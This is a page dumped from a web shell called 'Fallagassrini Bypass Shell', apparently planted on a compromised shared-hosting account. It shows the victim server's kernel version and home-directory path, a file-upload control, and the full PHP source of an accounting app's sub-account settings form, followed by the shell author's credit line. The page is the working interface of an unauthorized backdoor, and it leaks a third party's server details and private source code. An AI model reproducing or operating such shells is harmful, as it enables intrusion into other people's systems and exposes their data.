? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/eldertree/application/views/accounting/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/eldertree/application/views/accounting/edit_sub_ac_settings.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>

<div class="row-fluid">
    <div class="tab-pane " id="tab_2">
        <div class="portlet box yellow">
            <div class="portlet-title">
                <div class="caption"><i class="icon-reorder"></i>Update Sub Account Setting</div>
                <div class="tools">
                    <a href="#" onclick="viewdata('accounting', 'viewinaccountingsearch', 'search_sub_ac_settings', 'view_sub_ac_settings', '<?= $_SESSION['pagenum']; ?>')" class="remove"></a>
                </div>
            </div>
            <div class="portlet-body form">
                <!-- BEGIN FORM-->
                <?php
                $attributes = array('id' => 'validateform', 'class' => 'form-horizontal validate');
                echo form_open('accounting/addinaccounting/update_sub_ac_settings/view_sub_ac_settings/1', $attributes);
                $acc_sub = $this->mastermodel->getdatas('finance_chart_master', 'chart_type_id','asc');
                ?>
                <div class="row-fluid">
                    <div class="span6">

                        <div class="control-group">
                            <label class="control-label">Employee </label>
                            <div class="controls">
                                <select name="employee" class="required chosen span12" >
                                    <?php
                                    if (count($acc_sub)) {
                                        $sub_t = 'temp';
                                        foreach ($acc_sub as $accsub) {
                                            if ($accsub['chart_type_id'] != $sub_t) {
                                                $optgp = $this->mastermodel->get_single_field_value('finance_chart_type', 'chart_type_name', 'chart_type_id', $accsub['chart_type_id']);
                                                echo '<optgroup label="' . $optgp . '"></optgroup> ';
                                            }
                                            echo "<option value='" . $accsub['chart_master_id'] . "'";
                                            if ($accsub['chart_master_id'] == $viewinfo->employee) {
                                                echo "selected";
                                            } echo " >" . $accsub['chart_account_code'] . "&nbsp;&nbsp;" . $accsub['chart_account_name'] . "</option>";
                                            if ($accsub['chart_type_id'] != $sub_t) {
                                                echo " ";
                                            }
                                            $sub_t = $accsub['chart_type_id'];
                                        }
                                    }
                                    ?>
                                </select>
                            </div>
                        </div>
                    </div>  
                    <div class="span6">
                        <div class="control-group">
                            <label class="control-label">Student</label>
                            <div class="controls">
                                <select name="student" class="required chosen span12" >
                                    <?php
                                    if (count($acc_sub)) {
                                        $sub_t = 'temp';
                                        foreach ($acc_sub as $accsub) {
                                            if ($accsub['chart_type_id'] != $sub_t) {
                                                $optgp = $this->mastermodel->get_single_field_value('finance_chart_type', 'chart_type_name', 'chart_type_id', $accsub['chart_type_id']);
                                                echo '<optgroup label="' . $optgp . '"></optgroup> ';
                                            }
                                            echo "<option value='" . $accsub['chart_master_id'] . "'";
                                            if ($accsub['chart_master_id'] == $viewinfo->student) {
                                                echo "selected";
                                            } echo " >" . $accsub['chart_account_code'] . "&nbsp;&nbsp;" . $accsub['chart_account_name'] . "</option>";
                                            if ($accsub['chart_type_id'] != $sub_t) {
                                                echo " ";
                                            }
                                            $sub_t = $accsub['chart_type_id'];
                                        }
                                    }
                                    ?>
                                </select>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6">
                        <div class="control-group">
                            <label class="control-label">Profit/Loss</label>
                            <div class="controls">
                                <select name="profitloss" class="required chosen span12" >
                                    <?php
                                    if (count($acc_sub)) {
                                        $sub_t = 'temp';
                                        foreach ($acc_sub as $accsub) {
                                            if ($accsub['chart_type_id'] != $sub_t) {
                                                $optgp = $this->mastermodel->get_single_field_value('finance_chart_type', 'chart_type_name', 'chart_type_id', $accsub['chart_type_id']);
                                                echo '<optgroup label="' . $optgp . '"></optgroup> ';
                                            }
                                            echo "<option value='" . $accsub['chart_master_id'] . "' ";
                                            if ($accsub['chart_master_id'] == $viewinfo->profitloss) {
                                                echo "selected";
                                            } echo ">" . $accsub['chart_account_code'] . "&nbsp;&nbsp;" . $accsub['chart_account_name'] . "</option>";
                                            if ($accsub['chart_type_id'] != $sub_t) {
                                                echo " ";
                                            }
                                            $sub_t = $accsub['chart_type_id'];
                                        }
                                    }
                                    ?>
                                </select>
                            </div>
                        </div>
                    </div>
                    <div class="span6">
                        <div class="control-group">
                            <label class="control-label">Salary</label>
                            <div class="controls">
                                <select name="salary" class="required chosen span12" >
                                    <?php
                                    if (count($acc_sub)) {
                                        $sub_t = 'temp';
                                        foreach ($acc_sub as $accsub) {
                                            if ($accsub['chart_type_id'] != $sub_t) {
                                                $optgp = $this->mastermodel->get_single_field_value('finance_chart_type', 'chart_type_name', 'chart_type_id', $accsub['chart_type_id']);
                                                echo '<optgroup label="' . $optgp . '"></optgroup> ';
                                            }
                                            echo "<option value='" . $accsub['chart_master_id'] . "'";
                                            if ($accsub['chart_master_id'] == $viewinfo->salary) {
                                                echo "selected";
                                            } echo " >" . $accsub['chart_account_code'] . "&nbsp;&nbsp;" . $accsub['chart_account_name'] . "</option>";
                                            if ($accsub['chart_type_id'] != $sub_t) {
                                                echo " ";
                                            }
                                            $sub_t = $accsub['chart_type_id'];
                                        }
                                    }
                                    ?>
                                    </select>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6">
                        <div class="control-group">
                            <label class="control-label">Franchisee</label>
                            <div class="controls">
                                <select name="franchisee" class="required chosen span12" >
                                    <?php
                                    if (count($acc_sub)) {
                                        $sub_t = 'temp';
                                        foreach ($acc_sub as $accsub) {
                                            if ($accsub['chart_type_id'] != $sub_t) {
                                                $optgp = $this->mastermodel->get_single_field_value('finance_chart_type', 'chart_type_name', 'chart_type_id', $accsub['chart_type_id']);
                                                echo '<optgroup label="' . $optgp . '"></optgroup> ';
                                            }
                                            echo "<option value='" . $accsub['chart_master_id'] . "'";
                                            if ($accsub['chart_master_id'] == $viewinfo->franchisee) {
                                                echo "selected";
                                            } echo " >" . $accsub['chart_account_code'] . "&nbsp;&nbsp;" . $accsub['chart_account_name'] . "</option>";
                                            if ($accsub['chart_type_id'] != $sub_t) {
                                                echo " ";
                                            }
                                            $sub_t = $accsub['chart_type_id'];
                                        }
                                    }
                                    ?>
                                    </select>
                            </div>
                        </div>
                    </div>

                    <div class="span6">
                        <div class="control-group">
                            <label class="control-label">Bank Account</label>
                            <div class="controls">
                                <select name="bank_account" class="required chosen span12" >
                                    <?php
                                    if (count($acc_sub)) {
                                        $sub_t = 'temp';
                                        foreach ($acc_sub as $accsub) {
                                            if ($accsub['chart_type_id'] != $sub_t) {
                                                $optgp = $this->mastermodel->get_single_field_value('finance_chart_type', 'chart_type_name', 'chart_type_id', $accsub['chart_type_id']);
                                                echo '<optgroup label="' . $optgp . '"></optgroup> ';
                                            }
                                            echo "<option value='" . $accsub['chart_master_id'] . "'";
                                            if ($accsub['chart_master_id'] == $viewinfo->bank_account) {
                                                echo "selected";
                                            } echo " >" . $accsub['chart_account_code'] . "&nbsp;&nbsp;" . $accsub['chart_account_name'] . "</option>";
                                            if ($accsub['chart_type_id'] != $sub_t) {
                                                echo " ";
                                            }
                                            $sub_t = $accsub['chart_type_id'];
                                        }
                                    }
                                    ?>
                                    </select>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6">
                        <div class="control-group">
                            <label class="control-label">Fee Payable A/C</label>
                            <div class="controls">
                                <select name="employee_fee_payable" class="required chosen span12" >
                                            <?php
                                            if (count($acc_sub)) {
                                                $sub_t = 'temp';
                                                foreach ($acc_sub as $accsub) {
                                                    if ($accsub['chart_type_id'] != $sub_t) {
                                                        $optgp = $this->mastermodel->get_single_field_value('finance_chart_type', 'chart_type_name', 'chart_type_id', $accsub['chart_type_id']);
                                                        echo '<optgroup label="' . $optgp . '"></optgroup> ';
                                                    }
                                                    echo "<option value='" . $accsub['chart_master_id'] . "'";
                                                    if ($accsub['chart_master_id'] == $viewinfo->employee_fee_payable) {
                                                        echo "selected";
                                                    } echo " >" . $accsub['chart_account_code'] . "&nbsp;&nbsp;" . $accsub['chart_account_name'] . "</option>";
                                                    if ($accsub['chart_type_id'] != $sub_t) {
                                                        echo " ";
                                                    }
                                                    $sub_t = $accsub['chart_type_id'];
                                                }
                                            }
                                            ?>
                                            </select>
                            </div>
                        </div>
                    </div>
                    </div>
                <div class="form-actions">
                  
                   <input type="hidden" name="resfunction" value="search_amenities"/>
                    <input type="hidden" name="sub_account_settings_id" value="<?= $viewinfo->sub_account_settings_id ?>"/>
                    <button type="submit" onclick="addformdata('validateform')" class="btn blue"><i class="icon-ok"></i> Save</button>
                    <button type="button" onclick="viewdata('accounting', 'viewinaccountingsearch', 'search_sub_ac_settings', 'view_sub_ac_settings', '<?= $_SESSION['pagenum']; ?>')" class="btn">Cancel</button>
                </div>
                <?php
                echo form_close();
                ?>
                <!-- END FORM-->                
            </div>
        </div>
    </div>
</div>



bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net